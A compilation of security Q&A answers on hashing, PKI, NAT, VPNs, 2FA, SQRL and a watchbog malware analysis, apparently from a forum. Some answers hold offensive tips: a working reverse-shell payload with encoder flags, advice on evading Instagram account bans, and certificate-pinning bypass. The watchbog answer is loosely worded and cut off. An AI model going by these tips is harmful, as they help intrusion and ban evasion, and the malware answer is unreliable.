Hashing or obfuscating a password client-side can be a good mitigation against password reuse:

Even if an attacker accesses the password in plaintext either in transfer or at the server, it would still be hashed, so an attacker cannot try the same credentials at other websites without first cracking the hash.

  It seems to me that if an attacker can intercept my login request, then he can replay it later, no matter whether I try obfuscate it or not.

Yes. Hashing client-side doesn't add any security to your application, the only advantage is that it mitigates bad user behavior, which may affect other applications the user is also using.

Note that it doesn't even protect your application from password reuse, as an attacker that gained that users credentials from another application would just hash it and try that.

It also does not add any complexity to the process of cracking your stored hashes. An attacker would not try a list of hashes as input, but a normal wordlist, which they would first pass through sha1.


How is Instagram detecting me and blocking me each and every time I try to create a new account through different medium?

Instagram app sends the device id to its servers. So your devices are already known to them. Your best way would be:

A new device
A new email provider
Never connect to your wi-fi on this new device before registering

In other words, your new identity should not share even a single bit of the old identity.


Why did browsers deprecate 1024-bit RSA, but retain SHA-1?

Breaking a CA SHA1 signature would not get you anywhere: you could just recreate a public certificate with the same signature as a legitimate one, but the public key of the legitimate certificate would still be used to verify certificates, because it is stored in browsers.

To successfully forge a certificate you need to break one of:

an RSA private key of the chain
a checksum of an intermediate authority
the checksum of the SSL/TLS certificate

The checksums do not necessarily have to use the same algorithm of the root CA: a root CA hashed with SHA1 may be used to sign TLS certificate hashed with SHA256.


Is Man-In-The-Middle necessary for a CA to read HTTP plaintext?

CA does not issue private keys to anybody. CA signs (using its own private key, which is kept very secret) your public key. The CA has no access to your private key at all.

If the CA’s private key is leaked to Mallory, Mallory is able to issue valid certificates for any name. That means he can make almost undetectable (well, obviously, you can detect the certificate changed, but how many users check that?) man-in-the-middle attacks. But he has nothing which would help him with passive eavesdropping.

If your private key is leaked, passive eavesdropping might be possible, but in that scenario, the CA takes no part at all.


Vulnerabilities of pure NAT without firewall

Since NAT allows only replies to outbound connection no direct attacks from outside to inside are possible. But simple denial of service attacks are still possible. And while (D)DOS does not affect the inside network directly it can lead to a denial of critical services which need the access to the outside, like phone (VoIP) or smart home services.

  ...and no traffic from behind the NAT device will visit a site controlled by you.

At least if you use a browser behind such a firewall this assumption is probably wrong because you could simple include a link to a local IP address in an external website or make an external hostname resolve to an internal IP address. This is actually used in practice by Spotify and others for non-attack purposes, but can of course be also used for attacks to circumvent same original policy or to compromise the router from inside.


If your "paranoid dial" is turned up all the way to 11, the short answer is "No".

No matter how you store your passwords, there will at some point be a transfer in memory that is a cleartext representation of some authenticator.  That "cleartext" may be your ASCII password, or it may be a hash of it, but it will still be enough to independently validate your credentials to the recipient.  This is because the authenticator has to be entered in its natural form, before the system can process it for hashing or encryption.

If your concern is about rootkits, malicious debuggers, and similar attacks, there's no method of password management or storage that can keep you totally safe.

The only real mitigation for this vulnerability is to have two-factor authentication, with one factor being a dynamic element of some kind (i.e.: RSA token or "callback" authentication), on everything.  This way, no matter what static elements are captured from your memory, an attacker can never re-use your credentials without the dynamic authenticator.

Of course, there's still the possibility of side-channel attacks such as session hijacking and the like, but those are beyond the scope of this question.

For a more practical means of protecting your password, which will cover most defensible vulnerabilities, you're best served to go with a secure password manager such as KeePass or others like it.


How to check my application passes multiple virus scanners

You may be able to use any of another services such as No Virus Thanks. You will need to perform further research to determine whether it will meet your size and other needs.


Using two salts - one stored with the password, one stored in a random row in a separate table

You are right that "increasing the potential computation time" is good for security. That is the very basis for password hashing - slow is good!

But this is an awfully inconvenient way to make the hashing slow! For some passwords, an attacker will get lucky and crack them fast if they happened to try the right salt early. There is a risk that database files, logs or similar will leak the order hashes were created and thus give clues to what salt is linked to what account. If your site is a success, and you suddenly get a hundred times as many users, your servers will be overloaded when they have a hundred times more hashes to compute. It will be a mess.

All modern, good password hashing functions, including PBKDF2, bcrypt and scrypt, comes with built-in methods to configure the computation time. These parameters are known as "cost factors". Use them instead! It will give you a much simpler and cleaner architecture.


I set up a successful reverse shell but my commands return nothing

I solved it by generating a different payload.
Payload that didn't work: /windows/x64/shell/reverse_tcp
Payload that worked: /windows/x64/shell_reverse_tcp (and adding some flags -e x64/xor -i 5)


How can I edit HTTP request in OWASP ZAP and send the edited request?

Did you try right click, "resend"? Then you get a new window and in the "Request" tab you can change the parameters. Maybe it doesn't work in the "Sites" pane and you need to go to the "history" tab in the bottom.


Could SQRL really be as secure as they say?

Overall, the protocol does not appear to increase security over existing technology. If you are looking for the best way to protect your identity online, this is without question not it. But let's go over the pros and cons:
Advantages
It's impossible to "share" a password in the narrow sense that a malicious website can't use the authentication provided to one site to log in to another site.
A brute-force attack against the authentication token is not feasible.
Credentials are not stored on your computer. This protects you against a small subset of workstation-directed attacks. Specifically, you're protected against attacks that steal your password from your computer. You are not protected against any sort of session hijacking or browser-takeover attacks, though, and you are now also susceptible to phone-related attacks. More on that later.
Disadvantages
This technique is dangerously susceptible to MITM attacks and social engineering. Probably more so than any other authentication scheme in use, including passwords. The authentication step and the login initiation step are inherently disconnected in the sense that the phone will correctly authenticate against any presented QR code, no matter how or where it gets presented to the user.
So, for example, a phishing site can display an authentic login QR code which logs in the attacker instead of the user. Gibson is confident that users will see the name of the bank or store or site on the phone app during authentication and will therefore exercise sufficient vigilance to thwart attacks. History suggests this unlikely, and the more reasonable expectation is that seeing the correct name on the app will falsely reassure the user into thinking that the site is legitimate because it was able to trigger the familiar login request on the phone. The caution already beaten in to the heads of users regarding password security does not necessarily translate to new authentication techniques like this one, which is what makes this app likely inherently less resistant to social engineering.
This technique combines both authentication and identity into a physical object which is frequently lost or stolen.  In this sense it's more like a passport rather than a password. Anyone in possession of your phone is suddenly exclusively in possession of your identity: not only can the attacker impersonate you, but without a second copy on a second phone (unlikely), now you have lost the ability to identify yourself. Authentication keys are not revokable, so without out-of-band recovery from each and every site, you cannot recover your identity. And even if out-of-band recovery exists, when confronted with two users, one with possession of the identity and one without, it may be difficult to see why the site operator should trust you.
This technique combines all your authentication tokens into a single key unless you manually create others. This makes your one key an extra-juicy target for attackers. Furthermore, the key is stored on your phone, which devices have typically had laughably porous internal security. Combining unusually juicy targets with substandard security does not make you safe.
Alternatives
The most problematic aspect of this scheme is how poorly it compares to the available alternatives.
The most secure universally-accepted option today is lastpass, keepass, and other such browser-integrated password systems. In particular, client-side encryption alleviates the need to trust any third party. And more importantly, browser integration makes phishing practically impossible. LastPass or KeePass will only fill the password if served from the correct domain, which means that if presented with a malicious site, the user won't have access to his password.
Furthermore, LastPass recently added a feature which nags users to change passwords that are not globally unique. This helps prevent password re-use, which means the primary benefit of Gibson's technique can easily be gained using this tool today on existing sites, without the added insecurity his scheme implies.
Existing second-factor authentication schemes which use phones or similar devices help protect user logins today already do so in such a way that doesn't make you immediately vulnerable to identity theft if your device is stolen. The added security of two-factor authentication lies in the fact that neither the device nor the password can be used if stolen without the other. Gibson's technique is largely resistant to being included in a two-factor scheme, which makes this level of protection unavailable.
TL;DR:
Gibson's authentication technique does not create sufficient benefit to overcome the additional security costs that it also imposes. These costs are a fundamental part of the scheme itself and cannot likely be worked out without scrapping the whole design.
You could argue that it's better than nothing, but you can't argue that it's better than anything we already have.
Gibson's Updates
Gibson recently announced some additional protection against phishing because this has been a major criticism. Their protection is this: If you're NOT using the QR codes, cell phone, etc., and instead have an authentication agent on your system (in-browser, for example), then the server can check to make sure that the authentication response comes from the same IP as the authentication request. This is good and well, but the whole purpose of this protocol is move your identity to your cell phone. If the only safe way to use the protocol is to not use it's core feature, then perhaps we should re-think what we're trying to accomplish.
Theoretically you could continue to use your cell phone if (and only if) your cell phone knew that it was using the same IP as your computer. Which, of course, it can't know because it doesn't know your computer's IP address.
A Better Solution
As stated before, if the authentication measure is in your browser, then the whole phishing problem is immediately solved with no effort or verification on the part of the user. Even the least capable user can't be tricked into authenticating to the wrong site because the site's authentication token is associated with the domain name, and the browser won't allow authentication to the wrong domain. This is a technique already in use today, is completely automatic, and does not require the site's cooperation or any intelligence on the part of the user.
This method can be strengthened by requiring a second authentication factor (such as a time-varying key on a cell phone) which, again, is already available and in use today, which protects you (most notably) against screw-ups on the part of the destination site or company.
As for concerns about browser-side authentication being vulnerable to client-workstation attacks: while the is true, it's also true that if your browser is compromised, then no usage of that browser is safe, no matter what authentication mechanism you use. Malware authors can (and already do) wait for you to authenticate on your own using your super-secure technique, and then silently send the necessary traffic to "own" your account, all without you seeing anything amiss. Neither SQRL nor any other authentication system can protect the user of a compromised browser, any more than door locks can protect you from a house fire. Buying fireproof locks is not a solution.
Where Next
If you're looking for an absolute guarantee of protection from impersonation, then look at the Fido U2F token. This standard shines where SQRL falls short, and gives you guaranteed immunity to MITM (e.g. phishing) attacks. It does so by authenticating not just the user, but also the channel, so you're guaranteed that (a) your account can't be authenticated without the token, and also (b) your token can only be used to authenticate a connection to the machine it's attached to. See this answer for more information.


Does using PHP headers during login make the form vulnerable to attacks?

The issue with header redirects and exiting is that anything after the header redirect in the same script will still be executed.

You will not see it in a browser as you are being redirected, but you will see it in tools like burp or curl, which do not automatically follow a redirect.

If you do not actually execute any code after the header redirect, there is no issue (although it's best practice to just exit, as the code may change in the future).

Apart from that: you are using additional checks on the pages you redirect to, right? Because if not, an attacker could just enter them directly


Is this how end-to-end encryption works?

Your general description is fairly standard end-to-end encryption. However, as in most cryptography systems, the main issue is key management, and that's where this can go wrong. For example, your scheme has no independent mechanism to verify the other party's public key. So consider the following scenario:

Alice generates keypair and sends public key (A) to server
Server secretly generates its own keypair (S)
Bob requests A, but server provides S.
Bob encrypts to S and sends to the server
Server decrypts with S, then re-encrypts with A and sends to Alice.

Unless there is an independent way for Alice to confirm her public key to Bob, Bob has to trust that you're not doing that.

This is but one possible problem with the system; there are many other ways it can go wrong. Without a detailed description of the design, implementation, deployment, and maintenance, it's impossible to judge whether it's secure.

libsodium doesn't change anything here one way or another. It's a perfectly good cryptography library, but designing a secure messaging protocol is a lot more than just good cryptography. A great many systems fail in their key management. It is very easy to mess this up. I would not recommend designing a crypto system of any kind without engaging someone experienced in the field.


It depends on the application. They could start with a sitemap like one you provide Google. Or they could crawl it and extract links like a search engine would.

In your case if {id} is a sequential number, they might do a simple enumeration attack. Here's a high profile case where that lead to sensitive information disclosure because of poor access control mechanisms.

Last, they could just guess. For example, every web server I run gets attempts to login to the wordpress admin panel. Which is funny for me because I don't run any wordpress sites... not so funny for wordpress users who didn't set a good password.


Will patching a higher layer protect against the spectre/meltdown vulnerability in a lower layer?

For Meltdown you need to patch guest VMs as the patch is in the kernel. So you need those guest kernels up to date.

For Spectre, the patches are in the CPU microcode, so they need to be loaded to the host system. I think vmware has already these, but the current microcode updates doesn't have fixes for all CPUs included yet, so there will be one more update by the end of January.


Vulnerabilities of DNS when utilized on a TCP port

Although it's impossible to know for sure, one option would have been AFXR.

AFXR

What does it do?

AFXR would give you a list of all of the records on the server.

Why does TCP affect it?

RFC 5936, section 4 says:

  AXFR sessions are currently restricted to TCP by Section 4.3.5 of RFC
     1034, which states:

Because accuracy is essential, TCP or some other reliable protocol
must be used for AXFR requests.

  The restriction to TCP is also mentioned in Section 6.1.3.2 of
     "Requirements for Internet Hosts - Application and Support"
     [RFC1123].

[Source]

How could it have been used?

These records could have contained either a flag, or clues to the next step.


Installing a CA only for specific domains

Having a CA specific to a domain is possible with X.509, using Name Constraints. It is not well supported, though -- many implementations will ignore the constraints. If it did work well, commercial CA could sell domain-specific subCA certificates to domain owners (that would be a technically much better solution than wildcard certificates).

In many cases where there is an "organizational CA", the users are organization employees, for whom the CA is an emanation from the upper spheres of the organization, i.e. (theoretically and formally) the Voice of God. In these cases, limitation to a single domain would not provide a significant security improvement, which explains the lack of sustained demand for such a feature (and, thus, lack of support from existing browsers).


Is visiting HTTPS websites on a public hotspot secure?

HTTPS is secure over public hotspots. Only a public key and encrypted messages are transmitted (and these too are signed by root certificates) during the setup of TLS, the security layer used by HTTPS. The client uses the public key to encrypt a master secret, which the server then decrypts with its private key. All data is encrypted with a function that uses the master secret and pseudo-random numbers generated by each side.

Thus,

the data is secure because it is signed by the master secret and pseudo-random numbers
the master secret and pseudo-random numbers are secure because it uses public-private key encryption when the TLS handshake occurs
the public-private key encryption is secure because:

the private keys are kept secret
public-private key encryption is designed to be useless without the private key
the public keys are known to be legitimate because they are signed by root certificates, which either
came with your computer
or were specifically authorized by you (pay attention to browser warnings!)

Thus, your HTTPS connections and data are safe as long as:

you trust the certificates that come with your computer,
you take care to only authorize certificates that you trust.


Why is NAT referred to as "the poor man's firewall"?

NAT acts as a firewall with a "default deny" policy for unsolicited incoming packets, but no other rules.

Because the machines behind a NAT box are not directly addressable (usually because they have private IP addresses), machines out on the general Internet cannot send IP packets to them directly.  Instead, any packets will be sent to the address of the NAT box, and the NAT box looks at its records to see which outgoing packet an incoming packet is in reply to, to decide which internal address the packet should be forwarded to.  If the packet is not in reply to an outgoing packet, there's no matching record, and the NAT box discards the packet.


Yes, they're fully fledged keys.

The difference is that you have a master key, which you probably don't want to revoke or let expire often, and subkeys, which you actually use for crypto.

The subkey can be revoked, expire etc, but it's also proof that you're the owner of the master key. In essence, people trust you (i.e. you master key), but you just use the subkey. So, when the life time of one of the subkeys ends, you just use a new one – and don't have to rebuild your web of trust.


After a secure VPN tunnel has been established, any traffic sent through the tunnel will be encrypted between the client and the VPN endpoint (or between the two VPN endpoints in a site-to-site configuration). This will usually include DNS requests and any other Internet-bound traffic.

(N.b. I'm assuming, for the purposes of this question, that we are talking about VPN tunnels that capture all Internet-bound traffic from a machine. Most VPNs used for privacy reasons meet this criteria I think.)

However, connections are only protected by the VPN until they reach the endpoint. At this point they are decrypted back to whatever protocol they use (possibly also encrypted), and sent to the actual destination server.

         /------ VPN -------\
 CLIENT <------ HTTPS -------> VPN ENDPOINT <----- HTTPS -----> SERVER
         \------------------/

In this example, the connection itself is HTTPS and is therefore encrypted even after it has passed through the VPN endpoint. However, any cleartext protocols like HTTP and DNS will not be secure beyond this point.

Using a VPN for privacy reasons is therefore best when trying to evade monitoring from local network sniffing, your corporate IT department, insecure wireless networks, or from your OWN ISP. They may also be leveraged for anonymity from the destination server, although TOR might be more robust for these purposes.

The VPN endpoint's ISP can technically monitor all of these connections, and this is why using encrypted protocols (HTTPS, FTPS, SSH, etc) is still important on a VPN. But they're much more difficult (not always impossible) to trace back to you.

If this secondary ISP monitoring is a particular concern, again, you might find TOR to be more suitable for maintaining privacy.

Before the VPN tunnel has been established, nothing is inherently encrypted (although you might, of course, be talking to TLS-wrapped services anyway). Therefore, if you configure your VPN client to connect to myvpn.example.com, this DNS request will go out in the clear. Furthermore, regardless of DNS, a monitoring 3rd party can always identify the IP address of the VPN endpoint that you are connected to, and may therefore be able to deduce that you are using a VPN. However, they can only see which address the messages are going to (the VPN endpoint) - they can't see the contents of the messages, or their ultimate destination.


Github makes all users' public keys available at an unauthenticated endpoint: https://github.com/username.keys (replace username with your, or anyone else's, github username).
Anyone at any point in time could have scraped and saved the public keys associated with your original user. If you reuse them with your new user, the connection is easy to make.
It's simple and cheap enough to generate a new keypair for your new user. You should generate a new keypair.
Note: I'm intentionally ignoring "how to stay 100% anonymous" (this is much too broad for this forum) and "how important it has become to anonymously contribute to github" (this is a strange premise).


Methods for immediate certificate signing

While thinking about it, I can now definitively answer that some CA offers Web API allowing to automate part or all of the certificate generation / signature.

Some concrete example of this are Digicert, GlobalSign, Gandi.

Some other CA may therefore offer the same services, however you need to check:

The available functionality, not all functions available from the graphical web interface may be available from the Web API,
This may also be a paid option. An API key is always required for such operation, and getting such this key may be subject to some fees.


Running proprietary software on Linux safely

Chroot wouldn't give you any security anyway, it's only designed for very specific use cases. See Debian unstable chroot security issues and chroot "jail" - what is it and how do I use it?.

Any application that has access to the X server can do a lot of things. It can snoop on other applications that display windows on the same server. It can log key presses. It can rebind keys. It can inject key presses into other applications. It has access to the clipboard. If you run the untrusted applications on an X server where you never run any application that runs as your ordinary user, this is not a concern, except that the application can remove your ability to switch to another console.

Wine itself doesn't run with elevated privileges. The X server does (it runs as root), so if there's a vulnerability in it, you've lost. There's an effort going on to avoid running the X server as root, but that involves moving parts of the code into the kernel driver which runs with the utmost privilege level. You always need to trust your kernel.

Any application can access files in /tmp and /var/tmp. If this is a concern, don't use these directories for your own files. It's very easy to set up per-user temporary directories: install the libpam-tmpdir package. Applications can also access other data that you may consider sensitive, such as the list of users on your system, the list of programs you have installed, etc. Data underneath a directory that's not readable (more precisely, has no execute permission) by the application cannot be accessed by the application.

If the applications are not too demanding (in particular not too graphics-intensive), run them in a dedicated OS installation in a virtual machine. This is the most isolation you can get short of dedicated hardware. Deny that virtual machine network access, and don't put any sensitive data in it — this gives you double protection against privacy violations.


Can I generate and store keys on my Yubico?

U2F

The keys used in U2F are generated by the device it self, you can't do it yourself. Yubico's Developer webpage explain it very clearly. For short, take a look the graph below.

Device Secret is generated in manufacture phrase. As far as I know, this secret can't changed by a software tweak. AppID is equal to web service URL. At the time of generation, an integrated RNG will generate a Nonce, feed in to a HMAC-SHA256 with AppID, keyed with the device secret, the output is the private key. Then feed the private key and the AppID into the HMAC function again, concatenate the output and the nonce, which becomes the key handle. Public key is generate by the private key, and sent it with the key handle to the web service.

X.509/PIV

This is the part about code signing and the key to do. Yes, you can generate a private key on your own machine and upload it to the Yubikey. Take a look Yubico's PIV explanation. Especially articles under Introduction/Certificate slots, Tools/YubiKey PIV Manager(if you use Windows) and Guides.

OpenPGP

Yubico is a bit lack of explaining this part, so I found a great GitHub repo contributed by drduh where it contain a full explanation how to use OpenPGP with Yubikey.


What's the idea of two factor authentication? A hacker can use password with mobile

2FA means to have to two factors for authentication, preferable one is a physical factor ("know" and "have"). The idea is that this way it is not enough to get the password due to hacking, data leakage, phishing etc but that the attacker must additionally have access to the physical device.

There are lots of physical devices usable with 2FA like security tokens, smart cards (for example the "chip" in "chip and pin") or mobile phones. While security tokens or smart cards usually need to be bought explicitly for this purpose mobile phones often already exist and can be used as a second factor simply by adding some app to it.

Properly done the attacker can not simply use it's own mobile with you username and password but needs to have access to your pre-authorized phone - i.e. does not need only access to your password ("know") but also to your phone ("have").

Unfortunately this "have" can also be a remote access if the mobile phone was hacked. More limited 2FA devices like smart cards or security tokens are more safe in this regard but more costly too. Thus mobile phones established as a  good enough 2FA method when better security than just a password is needed but dedicated and more secure 2FA devices are too costly.


Detected Port Scanning Attack in ESET Smart Security

But as far as I know, computers behind a router is not accessible from others (Please correct me if I'm wrong).
  Well, you are wrong.

A router (or "Internet gateway") is almost transparent to Internet protocol packets: it only decrements the "TTL" field of packets (Time-to-live, the number of routers, and number of seconds, an IP packet can go through before dying/expiring).

To perform IP filtering, you need a firewall. Firewalls are often configured on routers, but it is a distinct function, that must be configured (mostly) inpendantely.

Almost all "NAPT devices" that is Network Address and Port Translation devices:

perform, as a side effect of "address sharing", some kind of "inbound" "connexion" filtering: "connexion" is the keyword here, it is a subtle concept, being defined according to the device configuration; "inbound" is another concept that is more subtle than many people think;
are often called NAT devices, NAT-routers, or just "routers" (improperly).

A NAPT device look like a router "from the inside" (the LAN ports) and must be configured as the "Internet gateway" on computers connected to the LAN Ethernet ports. But it is wrong to describe a NAPT device as a "router" because:

it does some simple router stuff, plus very complex "connexion"-tracking and address rewriting stuff;
"from the outside" (the WAN port), it looks like an Internet host, not a router.


How to secure the cloud hosted web server safe from attack ?

Sahu,

As a baseline, please reference the NIST Special Publication 800-44 Version 2 Guidelines on Securing Public Web Servers.

Also, take a look at this post on securing Apache web servers.


Are there some good papers (or discussions) on using Markov chains or Hidden Markov Models for password auditing/cracking?

Papers. In addition to @Dogeatcat world's excellent answer, here are some more papers:

Matt Weir, Sudhir Aggarwal, Breno de Medeiros, Bill Glodek, Password Cracking Using Probabilistic Context-Free Grammars, IEEE Security & Privacy 2009.

Arvind Narayanan, Vitaly Shmatikov, Fast Dictionary Attacks on Passwords Using Time-Space Tradeoff, CCS 2005.

Matteo Dell’Amico, Pietro Michiardi, Yves Roudier, Password Strength: An Empirical Analysis, Infocom 2010.  (Thanks to @Martin Carpenter for this one.)

Manjesh Kumar Hanawal and Rajesh Sundaresan, Randomised attacks on passwords, Technical report TR-PME-2010-11, DRDO-IISc, 2010.

C. Davies and R. Ganesan, Bapasswd: A new proactive password checker, NCSC 1993.

I'd start with the paper @Dogeatcatworld mentions, but then read the ones I cited above.

Tools. I believe John the Ripper implements a Markov-model based mode.  See also MiddleChild.

Tips. Here are some tips to help you find research papers, in the future.  I'd start by going to Google Scholar, Microsoft Academic Search, and Citeseer.  Enter in some search terms and see if you can find any papers that look relevant (when you see some candidates, reading the abstract can often tell you if it will be useful to you).  When you find some papers that are on-topic or at least nearby, read the related work section of those papers to find older papers that might also be relevant.  Also, when you find papers that are relevant, use these web services to list other papers that cite them; sometimes that can help you find newer papers that might be relevant.  Hopefully this will help you do a literature search in the future!


What are the computing powers at Google?

The speed of basic GPU hashing like used in password cracking rig and the speed of GPU shattered hashing like used in Google's rig are not directly comparable.

For once, the Shattered attack don't just use regular SHA-1 algorithm, but deconstructs the SHA-1 algorithm in a way that makes it more likely to find a collision with less computations than a pure brute force. Such deconstructed SHA-1 algorithm may be slower than a straight up SHA-1, but is beneficial since it reduces the number of SHA-1 computation you need to do. Second, the speed of computing SHA-1 depends on the size of the data.

Another factor is that Cloud providers like Google likes to use standardized GPU when talking about performance. In case of Google Compute Engine, they seem to use Nvidia Tesla K80 as the standard GPU. Assuming that Google SHA-1 attack used the same GPU as used in Compute Engine GPU, then according to this WPA hash benchmark:

Tesla K80     150000      hash/s
GeForce GTX 1080  395000      hash/s

Note that this benchmark is against WPA rather than SHA-1. The speed ratio between the two GPUs (395000/150000=2.6) seems to roughly correspond with your calculation, but this is likely a coincidence.


No
Open source means source code is publicly available. Unless you download the source code and build an executable yourself, you can't be sure that your binary is built from exactly the same code as what you saw.
As mentioned in the comments, having a public server where you can download the software and verify it's checksum just changes the trusted property of a download. And mind you, checksums are not trustworthy: Mint was hacked

  One of the purported advantages of open-source software is that in being so, it allows for multiple eyes on the code, and enables faster resolution of bugs. I think, also implied is an assurance about there not being any intentional security loop-holes in it.

There are multiple variants of open source which vary in the degree of openness and trust. I say this because it is relevant to your point on quick fixes.

Internal open source
Internal open source usually means that there is a library that is being developed by multiple teams across an organization. Every member of that organization has access to the code but people outside the org don't. Since these libraries are usually critical to the organization's development, they get a quick resolution.
Pure open source
These are tools like Linux mint/Ubuntu etc. Here everyone gets to see the sourcecode but you don't always get quick resolutions. So if you find a security bug in an open source tool that you are using, you probably fix the bug yourself and update the changes upstream. You can't really trust for it to have no intentional security loop-holes. There can be some if the developers of the system intended to do so.


Split an application into user and admin parts for security reasons?

Yes, it's a good idea: if you application allows it, it will make it possible to apply the principle of least privilege to a deployment, for instance by making sure the administrative interface can only be reached  from "secure" networks.

It can be further improved by applying the same principle all over the stack: using the OS and database security systems to make sure different elements of the application only have access to the part of the data they really need.

The main risk is over-engineering the whole thing: splitting the application means defining mechanism for the different parts to communicate together (APIs). This is often an overlooked aspect of application security that can increase the attack surface of a potential attacker.


Do I have a IP leak if I use Tor and Skype/UDP?

I'm not sure it's documented anywhere exactly what info is collected and sent back to MS via Skype, but to quote Tor's wiki page on IM software:

  Skype usage is highly discouraged. It can be used for leak testing
  purposes as it's very good with firewall tunneling. Skype is closed
  source and users have no control over the encryption keys used. Skype
  can therefore decrypt and monitor communications arbitrarily. It is
  unwise to communicate in an unsafe manner over Tor. Skype also
  collects a large amount of personal data and reports back to a central
  server.

I've also seen posts that Skype blocks Tor exit relays. But i have no links to an official Skype / MS response to that allegation (big surprise there).


Slot machine segfault: what can we determine?

A few observations:

It's a 32-bit Linux OS. Difficult to tell which distro - might be something custom.
They're running the latest version of Bash shell.
It contains an NVRAM device, such as an onboard EEPROM, which failed to initialise due to corruption. These are often used as tamper-proof storage modules that contain the game code.
It's on the network (IPv4 address is 10.254.0.10) and an NTP client is running.
No idea what rds_doNSQuery or RDSU_QUERY_NOWAIT mean.
The eip and esp registers weren't trashed by the crash, so I'd guess the crash was a forced segfault due to integrity checking failure, rather than a buffer overflow.

All in all, a rather interesting crash. Nice catch!


If you have a rooted device you can force the app to go through the proxy with some iptables rules.

You may need to override any pinned certificates within the apk.


If you can't verify the result of an automated tool, it is not a good idea to report it's findings.

Automated tools are great, but they have a problem with false positives.


Does unsecure delivery of keys and certs make a VPN useless?

I think you're using non standard terminologies and that is making things confusing for you. I'll define the terms here:

Private key: a string that need to be kept secret, used in cryptographic operations to authenticate or encrypt
Public key: a string that
are mathematically bound to the private key, not a secret. Used in certificate to decrypt and identify signatures that matches a private key
Certificate: public key + optional associated data + signature of the CA binding the key with the associated data. Not a secret. Each side in the communication uses the associated data in the certificate to identify its peer.

TLS Auth Key, the client private key, and server private key are the only data that should be keep private by the client and server respectively.

In the normal operation of x.509 authentication, the server doesn't need to know the client's private key, and vice versa the client doesn't need to know the server's key. You only need to deliver your public keys to the CA in a way that the CA can verify that they are signing the right public key for the right entity for the right purposes.

The CA's root certificate, the server's public key and certificate, and the client's public key and certificate are all non secret. The security properties of PKI does not rely on the secrecy of public key and certificates. An attacker can intercept these and that won't help them decipher your communication with the server.

An attacker that can passively intercept your communication with the CA would not be able to intercept your communication to the server either. To intercept your communication with the server, the attacker would need to actively modify your communication with the CA, throughout the entire verification process and throughout all your communication with the server.

In short, yes, insecure delivery of certificate signing request to the CA can make PKI useless. Insecure delivery of the certificate to communication peer though, is not an issue as all the information exchanged are public.


Public key encryption vs Digital signatures

Digital signatures use public key cryptography, so it's not very clear what you're asking. That being said, public key encryption by itself cannot be used for non-repudiation, so you'll always want digital signatures, regardless of which one is faster.


Is the 'demo' scrypt a good choice for file encryption?

Background: Tarsnap's scrypt command uses AES encryption implemented by their own libcperciva. The scrypt algorithm is used as a key derivation function.

The good: The scrypt algorithm is one of, if not the most cryptographically secure key derivation function that we know of. This means that during a password brute-force attack, calculating the key from the possible passwords will be very costly. scrypt also uses a 32-byte salt when creating the key. From scryptenc.c:

crypto_entropy_read(salt, 32)

This offers protection against rainbow tables.

The unusual: scrypt AES implementation is via their own libcperciva. This is a custom implementation written by, and named for, Colin Percival, the founder of Tarsnap and author of the scrypt algorithm. While homegrown encryption implementations are generally considered less secure, an scrypt implementation by its author, a rather famous author, may be a counterexample. So you need to compare the advantages the author brings to the implementation to the fact that the library is not commonly used (ie: it has low Github statistics, a lack of visibility in OpenHUB, and only 1K hits in Google).

Summary: It is clear that using the scrypt algorithm with a strong salt as a key derivation function is a cryptographically secure strategy. There is some risk from using the homegrown AES implementation though that is  somewhat mitigated by the skill of its author. You are left with three options that all seem reasonable choices:

If you want a command line AES encryption tool that uses the scrypt function for key derivation, you may consider writing your own using a well-tested AES implemenation.
You can use bcrypt key stretching algorithm, making it more secure by increasing the length of the random password that you use. This means there's more for you to remember, but it provides a known and measurable amount of security (compared to the unknowns of libcperciva).
You can trust Colin Percival's implementation and use it as-is. I wouldn't dream of suggesting this for most people but we're not talking about most people.

Note: Thanks to @StephenTouset for pointing out Colin Percival's notoriety.


Could a spoken (TTS) SMS-based 2FA be intercepted?

I think the answer depends on what you are trying to protect against. It certainly is the case that having the message read aloud somewhat reduces the secureness of the SMS messages as 2FA. This means that someone could obtain your phone and use it as a 2FA for Lastpass without needing to unlock your phone.

But if you are concerned about generalized network attacks against LP, similar to the recent mid-June one, I don't see how having the auth code spoken aloud decreases security.

Any 2FA mechanism offered by LP will, in most cases, be more secure than only using single factor authentication. So even spoken SMS messages will help in most cases.

PS: One thing to keep in mind, SMS messages are not encrypted end-to-end. Certainly your mobile provider can read your SMS messages. It is possible other apps on your phone can as well. Apps like PushBullet can be used to replicate SMS messages to a computer (and likely PushBullet's servers), further increasing the chance of them being viewed by an attacker. See this answer for more on SMS security for 2FA.


Should a service indicate the usage of multi-factor authentication by a user for building trust?

A service could require MFA for every user, but it shouldn't publicly disclose whether a user has it enabled or not.

Rather than giving users using MFA better reputation it would make users not using MFA easy targets – low-hanging fruits. They would be targeted first not only because there are less barriers without the MFA, but as not enabling MFA is also a possible indicator that the user may not take security that seriously. This could manifest, for example, as weak passwords or recycling the same password on several services. Additionally, they could be easier targets for social engineering.


How to safely "remember" login information in a program

The best way to do this is to store a session value with the application. The idea behind that is described in my answer here to another authentication question. That prevents exposing stored credentials and allows a user to invalidate sessions if they lose control of the machine without risking compromise of their password.


Google Chrome on Android has a Data saver feature that proxies requests through googles servers. Other browsers may have similar features.

You can't really glean much information from just the IP. Looking at whois for the IP would give you a bit more information. If it's from googles proxies, they will probably have googles contact info in the whois.


New Linux virus "watchbog". What could be the cause?

Did a lot of digging on this. It's a pretty new script that runs some older code. Shout out to twitter, google translate, notpad, and general boredom.

Watchbog is a miner script that downloads several utilities to compromise a system in order to perform cryptanalysis. As part of the package it has several features.

It determines the architecture of the OS being used
It determines the kernel version for exploit
It downloads the appropriate tools to a location within /tmp for exploit.

Once the script is up, it looks for several commands from Pastebin such as to update, run scripts, or other. It's my assumption that the attacker is still using pastebin and there do not appear to be any updates for this yet, but the script is smart enough to look for that.

After checking for updates, the script backsup cron and completely re-writes it with SEVERAL references to the script to ensure that it is getting updated and run inspite of any user attempts. It's pretty exhausting reading through this part of the code, but it is definitely doable.

Once the CRON tab is running the way it should, the account can look at it's credentials. If needed, it leverages cve-2017-16995. More information can be found here:

https://www.exploit-db.com/exploits/45010

This allows a standard user to attain root and begin executing scripts as needed. It runs a few basic tests to make sure all the components are working (Curl, wget, python, OS calls) and then launches the full application to begin the mining.

Looking online, it appears that the file can be easily used to impact a site which allows XSS attacks. In addition to locking down the allowed sites for script building, there are a couple of other targetted areas that you may want to review for patching.

They use the mail spooler for the root account. There is an email that has a shell script embedded in it. The one that launches Watchbog.
The above comment mentioned SOLR. The source I found from China mentioned that there was a potential XSS opportunity after the use of CKeditor, a popular rich text editor for websites. Definitely something to keep in mind.

Take aways:

PATCH everything. The vulnerability used impacts the following kernels:

